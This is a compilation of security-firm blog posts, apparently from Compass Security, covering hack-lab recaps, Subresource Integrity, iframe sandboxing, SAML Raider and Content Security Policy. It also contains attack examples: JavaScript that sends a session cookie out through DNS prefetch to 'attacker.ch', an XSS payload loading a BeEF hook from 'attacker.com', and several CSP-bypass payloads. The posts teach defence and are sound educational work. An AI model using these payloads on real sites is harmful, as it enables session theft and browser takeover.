Wrap-up: Hack-Lab 2017#2

What is a Hack-Lab?

Compass Security provides a monthly playful occasion for the security analysts to get-together and try to hack new devices, dive into current technologies and share their skills with their fellows.

This also includes the improvement of internal tools, the research of newly identified publicly known attacks, and security analysis of hardware and software we consider useful for our future engagements. This hack-lab took place in our office in Bern.

 

Topics

The following topics, tools and technology has been discussed during this Hack-Lab:

  1. Threat Modeling and Security Concept session
  2. CMS Assessment
  3. JWT4B development
  4. GnuRadio door bell analysis
  5. Windows Share Enumeration Tool
  6. Exploit.courses testing and training

Wrap-Up

Topic #1 -Threat Modeling and Security Concept session

In a combination of talks and hands-on workshop sessions, Thomas Röthlisberger shared his knowledge about threat modeling and security concept creation and analysis with colleagues.

Information Security fundamentals:

  • Security Foundations – CIA
  • Security Design Principles
  • Threat Modeling and Standards

Security Concepts:

  • Ownership and Data Classification
  • Architecture and Network Topology
  • Web Security Controls
  • Operational Security

Topic #2 – CMS Assessment

Using different available security and hardening scanners, we try to asses the security of three CMS: Drupal, Joomla, WordPress.

The goal is to find new vulnerabilities and possible test cases. We refresh and update our Compass Knowledge and improve our tool-set for CMS security assessments.

Technology:

  • Drupal
  • WordPress
  • Joomla
  • Web Scanners written in Python

Topic #3 – JWT4B development

We create a Burp plugin which helps the analyst testing apps which uses JSON Web Tokens (jwt.io).

The first step, which we performed in the previous hacklab, was to create a basic prototype, which enables Burp to visualize the tokens. During this hacklab we increased the functionality, implemented signature checking and interception functionalities.

Here a screenshot of the signature-checking functionality. The correct key was provided by the tester, which enables him to modify the JWT token comfortably:

Technology:

  • Java
  • JJWT (library)
  • JWT

Topic #4 – GnuRadio door bell analysis

We analyzed a wireless door bell with the help of GnuRadio and HackRF One. We captured the ASK modulated signal, and stored it as digital bitstream in a file. Afterwards we could successfully replay the stored bitstream, making the door bell ring. The next step will include to further analyze the bitstream. 

Technology:

  • GNU Radio
  • HackRF One SDR
  • Kali Linux

Topic #5 – Windows Share Enumeration tool development

If a pentest is performed in a large environment, it is possible that hundreds of accessible Windows shares are available in the network. The goal is to create a tool, which supports us during our penetration tests. Our tool should display the following information for every share in the network:

  • IP Address
  • Hostname
  • Share Name
  • 20 top level files and directories
  • ACLs for the top level files and directories

We managed to implement this tool by combining  Linux Samba tools (smbclient, smbcalcs) in an advanced shellscript.

Technology:

  • Windows, filesharing, network share
  • ACL, Permissions
  • masscan
  • samba / smbclient / smbcacls
  • Linux, Shell, Scripting

Topic #6 – Exploit.courses testing and training

Dobin Rutishauser teaches the “Exploiting & Defense” part of the Application- and Software-Security module at the Bern University of Applied Sciences (Berner Fachhochschule). For this assignment he created a website which provides writeups and challenges to be solved by the students. It also hosts dedicated per-user Linux container, accessible via JavaScript terminal. The Hack-Lab was used to check the website for usability problems, resistance against local DoS attacks, security problems and also basic functionality checks. We also performed a review of some of the writeups, where the team members solved several of the challenges. This includes the ARM buffer overflow challenge, and an extended version of the shellcode development challenge.

The team could identify several small bugs, some small mistakes in the writeups, and gave valuable usability improvement feedback.

Technology:

  • qemu, LXC / LXD
  • x86, x64 and ARM
  • gdb, readelf and python
  • AngularJS and go

How to reduce the threat from third-party includes

To achieve better-looking, more feature-rich and responsive applications, there is an ever-growing need to include resources from 3rd party domains into your web application. Common examples are JavaScript frameworks like jQuery or AngularJS, often distributed via a content delivery network (CDN), or even complete applications like Google Maps. But by including these resources, the security boundary of the web application is extended to include these 3rd party domains. If they get compromised, the delivered resources my be modified or backdoored, thus injecting malicious code into your website.

Fortunately, two browser-side mechanisms have been introduced to mitigate or limit the impact from externally-included resources: Subresource Integrity and sandboxing.

Subresource Integrity

Subresource Integrity (SRI) allows developers to pin down certain versions of scripts or stylesheets which are included from external domains. The goal is to ensure that the external script has not been modified inadvertently, or intentionally replaced or altered by an attacker. A cryptographic hash is used to ensure that the version included in the website has not been tampered with:

<script src="https://external.cdn.ch/example-framework.js" 
integrity="sha512-z4PhNX7vuL3xVChQ1m2AB9Yg5AULVxXcg/SpIdNs6c5H0NE8XYX
ysP+DGNKHfuwvY7kxvUdBeoGlODJ6+SfaPg==" 
crossorigin="anonymous"></script>

As soon as the content of the external resource “example-framework.js” changes, the hash set on the consuming website does no longer match the script’s hash and the script will not be run by the browser. Note that Cross-Origin Resource Sharing (CORS) must be enabled on the Content Delivery Network’s side to be able to use the integrity attribute, or else the script will not load at all, even with a correct hash.

The SHA-512 hash to pin down external resources can be calculated as follows:

cat example-framework.js | openssl dgst -sha512 -binary | 
openssl base64 -A

While only the script and link tags support the integrity attribute by the time of writing, other tags will probably follow, enabling developers to also ensure the integrity of images or other content embedded from externally.

The crossorigin attribute defines whether or not the browser should send credentials when fetching the external resource. It defaults to anonymous if an invalid value is given. The values are defined as follows:

Keyword State Description
anonymous (or empty string) Anonymous Requests for the element will have their mode set to “cors” and their credentials mode set to “same-origin”. (i.e. CORS request and credentials for the external domain are not sent with the request)
use-credentials Use Credentials Requests for the element will have their mode set to “cors” and their credentials mode set to “include”. (i.e. CORS request and credentials for the external domain are sent with the request)
[crossorigin attribute not present] No CORS Requests for the element will have their mode set to “no-cors”. As a consequence, data cannot be read cross-origin.

Security considerations

SRI only makes sense if the website is secured with TLS. If an attacker is able to intercept and alter the website he can inject his own scripts and strip the hashes or generate them on-the-fly.

Since hashes like MD5 or SHA-1 are prone to collision attacks, they should be avoided for pinning external resources. SHA-384 or SHA-512 are considered secure.

Note that only Firefox, Chrome and Opera support SRI at the time of writing. This means that users of Internet Explorer or Edge do not benefit from the SRI protection. Therefore it is still preferable to host the resources on your own domain, than to depend on SRI.

While SRI can be used to ensure the integrity of external resources, it does not feature a report mechanism that tells the including party if a script has been modified and therefore does no longer run in the user’s browsers. A report-uri mechanism, as known from HSTS, HPKP or CSP, would need to be custom-developed.

Sandboxing

From a security standpoint, it is a bad idea to include external resources directly into the website, because this is giving them full access to the website’s Document Object Model (DOM). A resource could thus access and alter the whole content of the website. When confined in an iframe, access to the parent’s DOM is restricted. It is however still possible to open pop-up windows from within the iframe, display dialogs or perform other unwanted actions. With the HTML5 feature sandboxing, it is possible to further restrict the behavior of “iframed” content.

The following examples would embed content into an iframe, while disabling JavaScript, applying a unique origin to its content and preventing it from using the top-level browsing context:

<iframe src="//external.cdn.ch/example_resource.html" 
id="sandboxed_frame" sandbox="" height="500" width="700"></iframe>
<iframe src="//external.cdn.ch/example_resource.html" 
id="sandboxed_frame" sandbox height="500" width="700"></iframe>

An empty or missing “sandbox” value applies the sandbox as restrictively as possible. This would prevent any execution of JavaScript in the iframe. It is however possible to soften up the sandbox with various flags as shown in the following table, to allow dynamic and interactive content:

Directive Effect
allow-popups Enables iframe content to open pop-up windows.
allow-pointer-lock Enables iframe content to use the Pointer Lock API. The mouse movements can be tracked and the mouse pointer can be hidden.
allow-scripts Enables iframe content to run JavaScript (with the exception of code which must be enabled through further flags, e.g. window.open())
allow-popups-to-escape-sandbox Enables iframe content to create pop-up windows without sandbox restrictions. (Why would you want to do that?!?)
allow-modals Enables iframe content to display modal windows such as alert();, prompt(); or through showModal().
allow-top-navigation Enables iframe content to load content to the top-level browsing context, e.g. via href or target=”_top”.
allow-same-origin

Sandboxed iframe content resides in a custom origin, isolating it from the originating domain. It can therefore not perform requests or read data from its original origin. This directive allows the iframe content to run in the originating domain, thus removing those restrictions.

allow-forms Enables iframe content to submit forms.
allow-presentation Enables iframe content to start presentations.

As always, the sandboxing directive should be set as restrictively as possible. All major browsers support the sandbox feature. While the execution of JavaScript cannot be avoided for non-static content, sandboxing can nonetheless prove valuable to prevent those scripts from opening pop-up windows, dialogues or screen-filling content which could be abused to trick users into revealing their credentials.

Our next Web Application Security courses

Wrap-up: Hack-Lab 2017#1

What is a Hack-Lab?

Compass Security provides a monthly playful occasion for the security analysts to get-together and try to hack new devices, dive into current technologies and share their skills with their fellows.

This also includes the improvement of internal tools, the research of newly identified publicly known attacks, and security analysis of hardware and software we consider useful for our future engagements.

   

Topics

The following topics, tools and technology has been discussed during this Hack-Lab:

  1. SharePoint Security
  2. Bypassing Android 7.0 HTTPS Apps Certificates Restriction
  3. JWT4B
  4. CodeInspect
  5. Smart Meter
  6. DNS Tunnel Debugging

Wrap-Up

Topic #1 – SharePoint Security Lab and Knowledge Sharing

SharePoint is a very popular browser-based collaboration and content management platform. Due to its high complexity, proprietary technology and confusing terminology it is often perceived as a black-box that IT and security professionals do not feel very comfortable with.

In a combination of talks and hands-on workshop sessions, Thomas Röthlisberger shared his research work with colleagues. They challenged his findings and shared their thoughts on pros & cons of security relevant settings. The outcome of this Hack-Lab session will be shared in a series of blog posts within the next couple of weeks.

The research in our very own hands-on SharePoint lab allows us to gain an in-depth understanding of any type of SharePoint environment, be it a purely internal collaboration web application, a platform to share information with external partners or a publishing site hosting the company website. To build or assess a secure SharePoint environment one needs to understand the importance of governance, logical and physical architecture, network topology, active directory considerations, authentication and authorization, segregation of classified data, hardening and most importantly web security relevant settings to make sure the built-in protection measures are effective. Like other modern Microsoft products, an out-of-the-box SharePoint installation can be considered secure. However, there are so many weirdly named settings which heavily depend on each other that misconfiguration is likely to happen, leaving the door wide open for unauthorized access by adversaries with SharePoint skills.

TECHNOLOGY:

  • SharePoint Server 2010 & 2013
  • Web Applications, Site Collections, (Sub-)Sites, (Custom) Lists, Document Libraries, Web Part Pages, Web Parts, Apps
  • Web Security, Cross-site Scripting (XSS), Cross-site Request Forgery (CSRF)
  • Navigation Links
  • Web Sensitive Files, permission to Add & Customize Pages and Scriptable Web Parts, e.g. Content Editor and Script Editor (“SafeAgainstScript=False”)
  • Browser File Handling
  • Web Page Security Validation (aka Anti-CSRF token)
  • Lockdown Mode Feature
  • Remote Interfaces SOAP, CSOM, WCF Service, REST Interface
  • Server-Side Controls
  • .NET Sandboxing, Sandboxed Solutions and Apps
  • Self-Service Site Creation
  • Developer Dashboard
  • Audit Logs
  • People Picker

Topic #2 – Bypassing Android 7.0 HTTPS Apps Certificates Restriction

With Android 7.0, apps do not trust user imported certificates anymore.  Intercepting app network traffic with a proxy has become more complicated.

The goal is to find or create a custom application which is explicitly developed for Android 7.0. Then to configure the app with the network_security_config.xml file, which is used to bypass this restriction,  and therefore enables user defined certificates.

Technology:

  • Android Studio
  • Android 7.0
  • Apktool

Topic #3 – JWT4B

Create a Burp plugin which helps the analyst when testing an app that uses JSON Web Tokens (JWT.IO).

Frist step is to create a prototype which enables Burp to visualize the tokens. On further hacklabs it should be possible to automatically perform JWT attacks.

Technology:

  • Java
  • JJWT (library)
  • JWT

Topic #4 – CodeInspect

Evaluation of CodeInspect’s features.

Determine if CodeInspect could be used to make future  Android app analysis assessments more efficient.

Technology:

  • Java
  • Android

Topic #5 – Smart Meter

Description:

An Energy Monitoring System was provided for testing. It is used to measure the current consumption and provides various interfaces. Web browser (TCP/IP) and Modbus are the main ones.

Assess the security of the interfaces. What can an attacker exploit if given network access to the device?

Technology:

  • TCP/IP
  • Modbus
  • HTTP Web Application

Topic #6 – DNS Tunnel Debugging

Compass Security has its own trojan toolkit which we use for responsible phishing attacks in mandate for our customers, and also demos and proof of concepts. The trojan also implements DNS tunneling.

Analyze the source code and perform debugging to identify and fix some reliability issues while performing DNS tunneling with multiple clients.

Technology:

  • C++

SAMLRequest Support for SAML Raider

About a year ago, the Burp extension SAML Raider [0] was released as a result of a bachelor thesis [1] in collaboration with Compass Security. This Burp extension automates most of the steps, which are necessary to test a SAML single sign-on process and perform according attacks. With SAML Raider, an authentication bypass vulnerability in a Service Provider was found [2]. More information is available in our first blog post about SAML Raider here: SAML Burp Extension [5].

We did some bugfixing and added new features to SAML Raider in the past year. In version 1.2.0, we introduced the new ability to intercept and edit SAMLRequest Messages. The current version is 1.2.1, which is available here [3] on GitHub. It will also be in the official Burp Suite BApp store [4] shortly.

Decode SAMLRequest Message

There are several Burp Extensions [6] like SAML ReQuest [7], SAML Editor or SAML Encoder which allows you to edit SAMLRequests. We also got asked [8] if this feature is supported in SAML Raider, which was not the case. Because this would be a nice feature, we implemented it in version 1.2.0.

What is a SAMLRequest?

A SAMLRequest is the SAML message, which is sent from the user (browser) to the Identity Provider, to “ask” for an assertion. Usually, the SAMLRequest is sent to the Identity Provider, which will respond with a login form to ask for the credentials. If the login was successful, the SAMLResponse is sent back to the client, which is then forwarded to the Service Provider.

A SAMLRequest is sent via POST to the Identity Provider and looks like this:

samlrequest

So, it’s quite clear, that this is not so practical for quick editing and testing.

SAMLRequest in SAML Raider

SAML Raider is now able to properly decode a SAMLRequest and display it in the SAML Raider tab:

samlrequest_samlraider

Now it is very easy to modify the SAMLRequest. The SAMLRequest is automatically encoded back in it’s original format and forwarded to the target, if the Forward button is clicked.

But why do you need to view/edit the SAMLRequest? With this new feature, you can read what the client is sending exactly to the Identity Provider and perform fuzzing or testing the Identity Provider itself.

So, if you have any questions, issues or features requests, don’t hesitate to contact us or open an Issue on GitHub [0].

References

Bypassing Content-Security-Policy with DNS prefetching

Introduction

The Content Security Policy (CSP) is one of the main web-based security mechanisms which helps websites’ owners to reduce their risks caused by Cross-Site-Scripting (XSS) or code injection attacks [1]. The CSP is nothing more than a policy that defines from where and to where a something can be loaded and fetched. This is preventing cross-domain loading by malicious code from external sites. However, the CSP concept is not protecting against data exfiltration techniques.

Different researches pointed out different methods to exfiltrate information and circumvent the CSP [2]. This blog post will focus on the data exfiltration method using the Browser DNS Prefetching mechanism illustrated at [3]. Further information about the CSP can be found on our previous blog post or by visiting the CSP website [4].

Browser DNS Prefetching

On the Web, every millisecond matters, browsers are the windows of the Internet and have to be as fast as possible to allow users to get the best surfing experience. One method implemented by browsers to be more efficient is DNS Prefetching. The idea behind is to pre-resolve hostnames into IP addresses and cache them for a later usage. The browser pre-resolves hostnames discovered in the content of the received page (like hostname in a tags), saving hundreds of milliseconds to seconds of the user’s time.

dns_prefetching_timeline1

Source [deanhume.com]

To manage the automated DNS prefetching feature of the browser, the X-DNS-Prefetch-Control HTTP Header is used [5][6].

x-dns-prefetch-control: off

This header has two possible values, either “on” or “off”. By default, if the header is not set, the automated DNS prefetching is enabled for the pages acquired over HTTP and disabled for those available over HTTPS. In addition, a developer can tell the browser which hostname should be pre-resolved, this can be done using the <link> tag. For example, this tag <link rel=”dns-prefetch” href=”compass-security.com”> will cause the browser to perform a DNS prefetch of the compass-security.com domain.

Exploitation

This technique is undoubtedly good to considerably decrease the webpage loading time. However, this feature allows an attacker to bypass the CSP policies and exfiltrate information like sessions’ cookies or credentials.

Now I will introduce how a possible attack scenario works:

Imagine the attacker has discovered a web application vulnerable to XSS where he can inject some JavaScript code (non-inline). However, the CSP is preventing the information leakage and the attacker cannot send any data to his external server. The policy, which is very strict, is set as follows:

Content-Security-Policy: default-src 'none'; script-src 'self'

This defined CSP policy allows only script resource loaded from the website itself.

Now, taking advantage of the automated DNS prefetching, the attacker can include the information he wants to leak inside valid DNS names owned by him. For example, the session cookie with value “abcd1234” will be transformed into the domain name “abcd1234.attacker.ch”, which can now be injected in the page DOM using the following link tag:

<link rel="dns-prefetch" href="//abcd1234.attacker.ch">

The following JavaScript code will inject the above tag programmatically:

var sessionid = document.cookie.split('=')[1]+"."; 
var body = document.getElementsByTagName('body')[0]; 
// injecting the link tag in the HTML body force the browser 
// to prefetch the given domain 
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\"
  href=\"//" + sessionid + "attacker.ch\">";

After executing the injected JavaScript, the browser starts the pre-fetching procedure and the resolution of the domain name “abcd1234.attacker.ch” will take place. Now the attacker only needs to log the DNS requests on his DNS server to be able to read back the leaked information.

wireshark_result

Conclusion and Mitigation

This attack shows the limitation of the current CSP definition, which does not take in account the DNS pre-fetching mechanism and data exfiltration vulnerability. Talking to the fellows inventing CSP we have learned, that data exfiltration was never the main goal of the project, instead it was designed to protect against XSS.

Currently, there are no concrete countermeasures against this kind of attack which uses DNS prefetch as vector. Firefox is the only browser which allows to disable the prefetching mechanism using the X-DNS-Prefetch-Control header. Compass Security still encourages the use of CSP and as always best practices like input validation and output encoding should be used to avoid the problem at the root.

Sources & References

  1. http://content-security-policy.com/
  2. http://tobias.lauinger.name/papers/csp-raid2014.pdf
  3. http://www.cse.chalmers.se/~andrei/asiaccs16.pdf
  4. https://www.w3.org/TR/CSP/
  5. https://developer.mozilla.org/en-US/docs/Web/HTTP/Controlling_DNS_prefetching
  6. http://dev.chromium.org/developers/design-documents/dns-prefetching

Cross-Site Scripting

Cross-Site Scripting is harmless? Think again!

Cross-Site Scripting, oftentimes referred to as “XSS”, is a common vulnerability of web applications. This vulnerability refers to the incorrect behavior of a web application to insufficiently encode user provided data when displaying it back to the user. If this is the case, attackers are able to inject malicious code, for instance JavaScript, into the affected website.

xssOne of our main tasks at Compass Security is testing web applications for security issues. Thus, we can safely say that many current web applications are affected by this type of vulnerability, even though protecting against it is simple. For simplicity reasons, XSS is usually depicted as a popup window displaying simple text.

Such a popup would be induced by the following code:

<script>alert(0)</script>

The entire attack would look as follows, given that the parameter param is vulnerable. Assume that the following code is used by a web application without employing output encoding:

<input type="text" name="param" value="user_input">

Here, user_input is the non-output encoded data provided by the user.

Then, an attacker can exploit this by setting param to

“><script>alert(0)</script><!–

which will lead to the following being sent to the user:

<input type=”text” name=”param” value=”“><script>alert(0)</script><!–“>

resulting in the above popup being displayed.

When discussing XSS with customers, one of the more common statements we hear is: “this issue is harmless; it only displays text in a popup window”. This is not true, however, since XSS is far more powerful than often suspected. It allows an attacker to take full control over the victim’s browser. The victim, in this case, is the user who visits the attacked website. Common attack vectors include the victim’s session cookie being stolen, if it is not protected by the so-called HttpOnly flag. Further, the affected website can be manipulated so that the user is redirected to a Phishing website, allowing the attacker to obtain the user’s credentials. Finally, if the victim’s browser is outdated and contains known vulnerabilities, these can directly be exploited via Cross-Site Scripting and, if successful, lead to the victim’s computer being compromised.

beefMany of the above-mentioned attack vectors can be very easily tested using the BeEF (Browser Exploitation Framework) Framework (http://beefproject.com/). This framework provides many attack vectors that can be used by including just one malicious JavaScript file into the vulnerable website. Hence, instead of the above code (“><script>alert(0)</script><!–), the following would be injected:

“><script src=http://attacker.com/hook.js></script><!–

where attacker.com is an attacker-controlled website and hook.js is the malicious JavaScript file that will allow the BeEF server on the attacker’s machine to take control over the victim’s browser.

Once the victim’s browser executes the injected JavaScript, it is “hooked”, that is, in the attacker’s control, allowing them to obtain all kinds of information such as the user’s cookies, browser type and version, etc.:

beef_hook

Among many different types of attack vectors, BeEF allows, e.g., displaying a password prompt to the user (in the user’s browser):

beef_password_alertOnce the user entered their password, it is sent to the attacker:

beef_password_resultHow to protect against such attacks?

Simple! Just encode user-provided data before echoing it back to the user. An effective method is to use HTML entities:
is encoded as &quot;,
< is encoded as &lt;,
and so forth (for a detailed explanation, refer to https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet).

If you want to see this any many more typical web application vulnerabilities, try them out yourself, and learn how to defend against them, register for our next Web Application Security course:

https://www.compass-security.com/services/security-trainings/

The Web Application Security (Basic/Advanced) courses will introduce all major web application attack vectors via theory and hands-on challenges in our Hacking-Lab:

https://www.hacking-lab.com/

Content-Security-Policy: misconfigurations and bypasses

Introduction

The Content Security Policy (CSP) is a security mechanism web applications can use to reduce the risk of attacks based on XSS, code injection or clickjacking. Using different directives it is possible to lock down web applications by implementing a whitelist of trusted sources from which web resources like JavaScript may be loaded. Currently the CSP version 2 is supported by Firefox, Google Chrome, and Opera, whereas other browsers provide limited support or no support at all (Internet Explorer)[4].

The CSP has two modes of operation [7]: enforcing and report-only. The first one can be used to block and report attacks whereas the second one is used only to report abuses to a specific reporting server. In this blog post, we will focus only on the enforcing mode.

The policy, in order to work, has to be included in each HTTP response as a header (“Content-Security-Policy:”). The browser will then parse the CSP and check if every object loaded in the page adheres to the given policy. To specify these rules, the CSP provides different directives [5]:

  • script-src: defines valid sources of JavaScript
  • object-src: defines valid sources of plugins, like <objects>
  • img-src: defines valid sources of images
  • style-src: defines valid source of stylesheets
  • report-uri: the browser will POST a report to this URI in case of policy violation

Each of these directives must have a value assigned, which is usually a list of websites allowed to load resources from. The default behavior of directives if omitted, is to allow everything (“*”) without restrictions [9]. A basic example of a valid CSP is shown below:

Content-Security-Policy: default-src 'self'; script-src compass-security.com

The directive “default-src” is set to ‘self’, which means same origin. All resources without a directive set are allowed to be loaded only from the same origin, in this case “blog.compass-security.com”. Setting the “default-src” directive can be a good start to deploy your CSP as it provides a basic level of protection. “script-src” is used to allow all JavaScripts to be loaded from the domain “compass-security.com”, via HTTP (https:// should be explicitly specified) without allowing subdomains. These could be specified directly (e.g. sub.compass-security.com) or using the “*” wildcard (*.compass-security.com)

Misconfigurations and Bypasses

Even though it is possible to have a good level of control over the policy, errors in the definition of directives may lead to unexpected consequences. Misconfiguration or ambiguities can render the policy less efficient or easy to bypass. In addition, the functionality of the application could also be broken. The following example illustrates what can happen if “default-src” is omitted:

Content-Security-Policy: script-src compass-security.com

Now, all the scripts with source “compass-security.com” are allowed. But what about the other objects like stylesheets or flash applets? The policy above can be bypassed for example using this payload, which triggers an alert box using a Flash object[7]:

">'><object type="application/x-shockwave-flash" 
data='https://ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/
assets/charts.swf?allowedDomain=\"})))}catch(e{alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

One other common mistake is the inclusion of the dangerous “unsafe-inline” or “unsafe-eval” directives. These allow the execution of potentially malicious JavaScript directly via “<script>” tags or eval():

Content-Security-Policy: default-src 'self'; script-src compass-security.com 'unsafe-inline';

This policy defines the default source as “self” and allows the execution of script from “compass-security.com” but, at the same time, it allows the execution of inline scripts. This means that the policy can be bypassed with the following payload [7]:

">'><script>alert(1337)</script>

The browser will then parse the JavaScript and execute the injected malicious content.

Besides these trivial misconfigurations shown above, there are some other tricks used to bypass CSP that are less common and known. These make use, for example, of JSONP (JSON with padding) or open redirects. Let’s take a look at JSONP bypasses.

If the CSP defines a whitelisted JSONP endpoint, it is possible to take advantage of the callback parameter to bypass the CSP. Assuming that the policy is defined as follows:

Content-Security-Policy: script-src 'self' https://compass-security.com;

The domain compass-security.com hosts a JSONP endpoint, which can be called with the following URL:

https://compass-security.com/jsonp?callback={functionName}

Now, what happens if the {functionName} parameter contains a valid JavaScript code which could be potentially executed? The following payload represents a valid bypass [7]:

">'><script src="https://compass-security.com/jsonp?callback=alert(1);u">

The JSONP endpoint will then parse the callback parameter, generating the following response:

Alert(1); u({……})

The JavaScript before the semicolon, alert(1), will be executed by the client when processing the response received.

URLs with open redirects could also pose problems if whitelisted in the CSP. Imagine if the policy is set to be very restrictive, allowing only one specific file and domain in its “script-src” directive:

Content-Security-Policy: default-src: 'self'; script-src https://compass-security.com/myfile.js https://redirect.compass-security.com

At first sight, this policy seems to be very restrictive: only the myfile.js can be loaded along with all the scripts originating from “redirect.compass-security.com” which is a site we trust. However, redirect.compass-security.com performs open redirects through a parameter in the URL. This could be a possible option to bypass the policy [7]:

">'><script src="https://redirect.compass-security.com/redirect?url=https%3A//evilwebsite.com/jsonp%2Fcallback%3Dalert">

Why is it possible to bypass the CSP using this payload? The CSP does not check the landing page after a redirect occurs and, as the source of the script tag “https://redirect.compass-security.com” is whitelisted, no policy violation will be triggered.

These are only a small subset of possible CSP bypasses. If you are interested, many of them can be found at [6] or [7].

The “nonce” directive

Besides the whitelist mechanism using URLs, in the CSP2 there are other techniques that can be used to block code injection attacks. One of these is represented for example by “nonces”.

Nonces are randomly generated numbers that should be defined in the CSP and included only inside <script> or <style> tags to identify resources and provide a mapping between the policy and the client’s browser. An attacker injecting a payload containing a script tag has no knowledge of the nonce previously exchanged between the client and the server, resulting in the CSP detecting this and throwing a policy violation. A possible configuration of a CSP with nonces could be:

Content-Security-Policy: script-src 'nonce-eED8tYJI79FHlBgg12'

The value of the nonce (which should be random, unpredictable, generated with every response, and at least 128 bits long [10]) is “eED8tYJI79FHlBgg12”.

This value should be then passed to each script tag included in our application’s pages:

<script src="http://source/script.js" nonce="eED8tYJI79FHlBgg12">

The browser will then parse the CSP, check if the scripts included have a matching value and block those that do not include any valid nonce. This technique works great against stored XSS, as the attacker cannot include valid nonces at injection time. Another advantage is that there is no need to maintain whitelists of allowed URLs, as the nonce acts as an access token for the <script> tag and not necessarily for the source of the script. It is also possible to use hashes in order to identify the content of each <script> element inside the page, more information about this feature can be found at [8].

Conclusion

We have seen that the CSP is a very useful tool web developers can use to have better control on the loaded resources. The different directives provide flexibility to allow or deny potentially dangerous web resources inside web pages. However, it is also easy to make errors if too many URLs are whitelisted (e.g. hidden JSONP endpoints). Here at Compass we encourage the use of the CSP as an additional barrier against web threats. Nonetheless, I would like to stress that the first protection against code injection should always be provided by a solid input/output validation, which can help also against other common attacks like SQL injections.

If you would like to get more information about how web applications should be protected, or you want to deepen your web security knowledge we provide different trainings:

We are also offering trainings in other areas of IT Security. You can check the different topics here:

Sources & References

  1. https://www.owasp.org/index.php/Content_Security_Policy
  2. https://www.w3.org/TR/CSP2/#intro
  3. https://w3c.github.io/webappsec-csp/#match-element-to-source-list
  4. http://caniuse.com/#search=Content%20Security%20Policy%20Level%202
  5. http://content-security-policy.com/
  6. https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it’s-CSP!%22.
  7. http://conference.hitb.org/hitbsecconf2016ams/materials/D1T2%20-%20Michele%20Spagnuolo%20and%20Lukas%20Weichselbaum%20-%20CSP%20Oddities.pdf
  8. https://blog.mozilla.org/security/2014/10/04/csp-for-the-web-we-have/
  9. http://www.html5rocks.com/en/tutorials/security/content-security-policy/
  10. https://www.w3.org/TR/CSP/#source_list

Presentation on SAML 2.0 Security Research

Compass Security invested quite some time last year in researching the security of single sign-on (SSO) implementations. Often SAML (Security Assertion Markup Language) is used to implement a cross-domain SSO solution. The correct implementation and configuration is crucial for a secure authentication solution. As discussed in earlier blog articles, Compass Security identified vulnerabilities in SAML implementations with the SAML Burp Extension (SAML Raider) developed by Compass Security and Emanuel Duss.

Antoine Neuenschwander and Roland Bischofberger are happy to present their research results and SAML Raider during the upcoming

Beer-Talks:
– January 14, 2016, 18-19 PM, Jona
– January 21, 2016, 18-19 PM, Bern

Free entrance, food and beverage. Registration required.

Get more information in our Beer-Talk page and spread the word. The Compass Crew is looking forward to meeting you.

Subresource Integrity HTML Attribute

Websites nowadays are mostly built with different resources from other origins. For example, many sites include scripts or stylesheets like jQuery or Bootstrap from a Content Delivery Network (CDN). This induces that the webmasters implicitly trust the linked external sources. But what if an attacker can force the user to load the content from an attacker controlled server instead of the genuine resource (e.g. by DNS poisoning, or by replacing files on a CDN)? A security-aware webmaster had no chance to protect his website against such an incident.

This is the point where Subresource Integrity kicks in. Subresource Integrity ensures the integrity of external resources with an additional attribute for the two HTML tags <link> and <script>. The integrity attribute contains a cryptographic hash of the external resource which should be integrated in the site. The browser then checks if the hash of the fetched resource and the hash in the HTML attribute are identical.

Bootstrap example:

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs8" crossorigin="anonymous">

In the example above, resource bootstrap.min.css is checked for its integrity with its Base64 encoded SHA-384 hash. If the integrity check is positive, the browser applies the stylesheet (or executes the script in the case of a <script> tag). If the check fails, the browser must refuse to apply the stylesheet or execute the script. The user is not informed if the check has failed and a resource therefore could not be loaded. The failed request can only be seen in the developer tools of the used browser. The following image shows the error message in the Chrome developer tools.

Console in browser does inform about subresource integrity check fail.

Console in browser does inform about subresource integrity check fail.

The crossorigin attribute in the example configures the CORS request. A value anonymous indicates, that requests for this element will not have set the credentials flag and therefore no cookies would be sent. A value of use-credentials would indicate, that the request will provide cookies to authenticate.

The subresource integrity attribute is currently being reviewed before becoming a W3C standard but is already supported by Chrome 45≤ , Firefox 43≤ and Opera 32≤.

Concluding, the subresource integrity attribute offers better possibilities for webmasters to ensure the integrity of external resources. However, this attribute is not supported by older browsers and needs to be adjusted at every resource change. In the end, a security aware webmaster will keep more control with less effort by keeping all resources hosted on his own servers.

Compass Security at CYBSEC15 in Yverdon-les-Bains

CYBSEC15

As in past years, Compass Security will participate in the upcoming CyberSec Conference in Yverdon-les-Bains (formerly Application Security Forum – Western Switzerland). This year, we will contribute in two events:

First, Antoine Neuenschwander and Alexandre Herzog will conduct a day long training session on Tuesday, November 3rd. Participants will be able to exercise their skills and learn with step-by-step instructions on how to exploit vulnerable web applications at their own pace and with the support of the trainers within the hacking-lab.com CTF environment.

ivanoSecond, Ivano Somaini will share his practical experience of physically breaking into banks and other critical infrastructures in his talk “Social Engineering: The devil is in the details” on Wednesday, November 4th. Ivano looks forward to his first talk in the French speaking part of Switzerland. He was lately a lot in the news in the Swiss Italian and German part of Switzerland, due to his extensive interviews to Coop Cooperazione (in Italian), to the Tages Anzeiger (in German), and his participation to popular talkshow “Aeschbacher” on Swiss television SRF1 (video of the interview).

We are looking forward to meeting you at this occasion, either during the Castle evening networking event, the workshop or the conferences!